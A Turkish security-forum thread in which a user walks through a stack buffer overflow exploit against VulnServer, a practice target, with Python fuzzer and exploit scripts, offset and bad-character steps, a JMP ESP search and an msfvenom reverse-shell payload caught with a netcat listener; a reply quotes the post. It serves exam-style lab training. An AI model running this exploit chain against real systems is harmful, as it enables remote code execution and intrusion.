Neler yeni

Stack Based BufferOverFlow Exploitation (1 Viewer)

KARA

Unutamadıklarımıza..
kidemli152
Mesajlar
36
Credits
30
STACK BASED BUFFEROVERFLOW:
Türkçesi "Bellek Taşırma Zafiyeti"dir. Sınırlı boyuttaki bellek alanına,belirlenen miktarın üzerinde veri kopyalanınca yaşanan taşma durumudur. Ayrıca OSCP'de en yüksek puanla sorulan makine BoF makinesidir. Bu zafiyeti kullanmak için ilk önce "Kırılma(Crash) Noktası Tespiti" yapmamız gerekir.


CRASH NOKTASI TESPİTİ VE ARKA PLANDA DÖNECEK İŞLEMLER:
Burada belleğin taşma noktasını tespit edeceğiz. Bu işlemi size göstermek için VulnServer kullanacağım. Bu işlemi gerçekleştirirken bir fuzzer script kullanacağız. Piyasada çok sayıda mevcut.
İlk önce VulnServerimizi açıyoruz ve netdiscover ile ip adresini buluyoruz. Daha sonra nmap ile açık portlara bakıyoruz.Hangi portta çalıştığını öğrenmek için.
vulnserver.PNG
Revealed content
Buraya python2 ile yazılmış basit bir tane örnek fuzzer script bırakayım:

#!/usr/bin/python
import socket

string = 'A'
i = 200

while len(string) < 10000:
print "gonderilen uzunluk: ", len(string)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("IPADRESI",9999))
s.recv(1024)
s.send("TRUN ." + string)
s.recv(1024)
string = 'A' * i
i += 200
s.close()



Bu scripti linux makinemize .py olarak kaydettikten sonra terminale
nano script.py
diyerek scriptimizi açıyoruz ve hedef sistemin ip adresi ile değiştiriyoruz ve kaydedip çıkıyoruz.

not:Bundan sonraki ekran görüntüleri internetten alıntıdır. Vulnserver'in kırılma noktası için win7 gerekiyor.win10'da düşmüyor. bende yüklü değil. İşin mantığını ve nasıl yapıldığını anlatacağım.

daha sonra python script.py diyerek scriptimizi başlatıyoruz ve kaç karakter göndereceğimizi giriyoruz.
Scriptimiz 2400 civarında duruyor ve vulnserverimiz hata veriyor.
vulnserver3.PNG
vulnserver2.png

Şimdi Crash noktamızı tespit ettiğimize göre arka planda hangi işler dönecek onlara bakalım.
Burada Bir Debugger kullanacağız. İmmunity Debugger'i kullanalım.
Debugger'i açtıktan sonra "File" Kısmından "Attach"a gelerek VulnServeri seçelim.
vulnserver4.PNG
Şimdi uygulamayı başlatmak için yukarıdaki play tuşuna basıyoruz ve scriptimizi tekrar çalıştırıyoruz.2200 karakterden sonra scriptimizin durduğunu görüyoruz.
Sağ üst köşedeki "EIP Register"a baktığımızda "41414141" ile dolduğunu görüyoruz. Yani "AAAA" ile doldu.
vulnserver5.PNG
Bizim için burada önemli olan 2 Register var.Bunlardan birisi "EIP" diğeri "ESP" registerları.
ESP = Gönderilen verileri depolayan kısım
EIP = Bizim kontrol edeceğimiz kısım.
burada EIP' i kontrol ederek ESP Registerini görünteleyeceğiz.Ve ESP Registerının içerisine hazırladığımız bir shellcode koyacağız.
Saldırımızın ana mantığında shellcode sokarak reverse bağlantı almaya çalışmak var.
Şimdi tam olarak kaç karakterde kırıldığını tespit ederek o karakterden +4 karakter fazla gönderip EIP Registerini kontrol etmeye çalışacağız.

OFFSET DEĞERİ:
Crash yenen stringin kesin uzunluğunu bulacağız.Bunun için unix bir stringe ihtiyacımız var.Bu stringi oluşturmak için metasploitin içerisinde yüklü gelen "pattern-create" toolunu kullanacağız.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb
-h ile nasıl kullanıldığna bakabilirsiniz. Biz şimdi "-l" yani uzunluk parametresini kullanacağız.
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2400
2200-2400 arasında sürekli kırıldığı için uzunluk olarak 2400 verdik.Bize böyle bir string oluşturdu
vulnserver6.PNG
Şimdi bu stringi uygulamaya VulnServer'a göndererek EIP registerinin Değerine bakacağız.Daha sonra stringin başlangıcını bu stringin içerisindeki konumundan bularak kontrol etmeye çalışacağız.
Bu stringi netcat kullanarak gönderebiliriz.
vulnserver7.PNG
Netcat ile bağlandıktan sonra TRUN .KOPYALADIĞIMIZSTRİNG olarak gönderiyoruz.Ve Debuggerimizden kontrol ediyoruz.
Şimdi "OFFSET" değerini bulmak için yine metasploitin içerisinde yüklü olarak gelen "patter-offset" i kullanacağız.
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396f4338(ERPREGİSTERDEĞERİ)
vulnserver8.PNG
Ve uygulamanın tam olarak hangi stringde kırıldığını öğreniyoruz.
vulnserver9.PNG
Uygulama Tam olarak 2006 karakterlik bir string ile kırılıyor. Şimdi EIP Register kontrolünü gerçekleştireceğiz.

EIP REGİSTER KONTROLÜ:
Hangi stringde kırıldığını bulduktan sonra o string sayısından +4 fazla başka bir string göndererek EIP registerini kontrol ediyoruz. Bunu scriptimizi editleyerek yapıyoruz.

#!/usr/bin/python
import socket

string = "A" * 2006 + "B" * 4
i = 200

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("IPADRESI",9999))
s.recv(1024)
s.send("TRUN ." + string)
s.recv(1024)
s.close()

Burada fazladan 4 tane "B" gönderiyoruz ve EIP Registerinin değişip değişmediğine bakıyoruz ve değiştiğini görüyoruz.
vulnserver10.PNG
"42424242" yani "BBBB". işlem başarılı :)
Şimdi EIP registerimizi ESP registerimizi görmeye zorlamak için debuggerimıza bir dosya ekleyeceğiz.Bu dosyanın github linkini bırakıyorum.
Bu linkten mona.py dosyasını indirerek Debuggerimizin içerisindeki pycommands klasörüne atıyoruz ve debuggeri tekrar başlatıyoruz.
Daha sonra sistem üzerindeki modülleri kontrol etmek için alt tarafa
!mona modules
yazıyoruz.
Çıkan ilk modülü seçiyoruz.Modül seçimi yaparken dikkat etmemiz gereken şeyler şunlar:
-nullbyte ile başlamaması
-arka planda çalışan güvenlik modları olmaması (False)
İlk modül üzerinde JUMP ESP Instractor arayacağız ve bunun içinde metasploitin içerisinde yüklü gelen "Nasm Shell" kullanacağız.
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
yazarak çalıştırıyoruz ve daha sonra
JMP ESP
Yazarak kod halini alıyoruz.
!=10 Resimden Fazla almadığı İçin Yorum Olarak Atacağım Diğer Fotoları.
Kod halini aldıktan sonra bu ınstractor var mı arayacağız.
!mona find -s '\xFF\xE4' -m essfunc.dll(modül adı)
Aşağıda mevcut olanları listeledi bize.Bunlardan birine tıklayalım. Sol üst tarafta jump esp'i bize gösterecek.(FFE4)
Daha sonra FFE4'ü EIP'ye vererek ESP'deki komutları çalıştırmasını sağlatacağız. Bu instroctor ile "Badcharsları" Kontrol edeceğiz.

BADCHARSLARIN KONTROLÜ:
ESP Registerini doldurduğumuzda bozuntuya sebep verecek karakterlerdir.
Tespiti için program üzerine tüm karakterleri atıyoruz sonra ESP'yi kontrol ediyoruz.Eğer firar veren karakter varsa o karakter "Badcharst(Kötü Karakter)" dır.

Badcharsları anlamak için ilk önce bütün karakterlerin olduğu bir txt dosyası oluşturuyoruz ve bunu scriptimiz ile hedef sisteme gönderiyoruz.

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


string = "A" * 2006 + '\xAF\11\50\62' + badchars
i = 200
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(("IPADRESI",9999))

s.recv(1024)
s.send("TRUN ." + string)
s.recv(1024)
s.close()


Tekrar düzenlediğimiz bu scriptimizle sisteme gönderiyoruz.Daha sonra tek tek sayarak badcharsları buluyoruz. örneğin 32'den sonra 33 gelmemişse yani farklı bir olay olmuşsa 33 Badcharst'dır. (sol atta sayıyoruz)
Karakterleri işaretlememiz gerek.
Şimdi bütün işlemlerimiz bitti.Sıra shellcode oluşturmaya geldi.
SHELLCODE OLUŞTURMA:
Bunun için msfvenom'u kullanacağız.
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f c -b '\x00' (badchars)
gelen payloadı'da scriptmize ekledikten sonra(no operation eklemeyi unutmayın)
nc -lvp LPORT ile portu dinlemeye alıyoruz.
Başka bir terminalden
python script.py
diyoruz. Ve Shelldeyiz :)
Başka bir konuda görüşmek üzere..
 
Moderatör tarafında düzenlendi:

Tron 

Pentester & Reverse Engineer
Legendary
Mesajlar
1,976
Credits
142,222
STACK BASED BUFFEROVERFLOW:
Türkçesi "Bellek Taşırma Zafiyeti"dir. Sınırlı boyuttaki bellek alanına,belirlenen miktarın üzerinde veri kopyalanınca yaşanan taşma durumudur. Ayrıca OSCP'de en yüksek puanla sorulan makine BoF makinesidir. Bu zafiyeti kullanmak için ilk önce "Kırılma(Crash) Noktası Tespiti" yapmamız gerekir.


CRASH NOKTASI TESPİTİ VE ARKA PLANDA DÖNECEK İŞLEMLER:
Burada belleğin taşma noktasını tespit edeceğiz. Bu işlemi size göstermek için VulnServer kullanacağım. Bu işlemi gerçekleştirirken bir fuzzer script kullanacağız. Piyasada çok sayıda mevcut.
İlk önce VulnServerimizi açıyoruz ve netdiscover ile ip adresini buluyoruz. Daha sonra nmap ile açık portlara bakıyoruz.Hangi portta çalıştığını öğrenmek için.
Ekli dosyayı görüntüle 260
[Hidden content]
SHELLCODE OLUŞTURMA:

Bunun için msfvenom'u kullanacağız.
msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f c -b '\x00' (badchars)
gelen payloadı'da scriptmize ekledikten sonra(no operation eklemeyi unutmayın)
nc -lvp LPORT ile portu dinlemeye alıyoruz.
Başka bir terminalden
python script.py
diyoruz. Ve Shelldeyiz :)
Başka bir konuda görüşmek üzere..
Eline Sağlık
 

Bu konuyu görüntüleyen kullanıcılar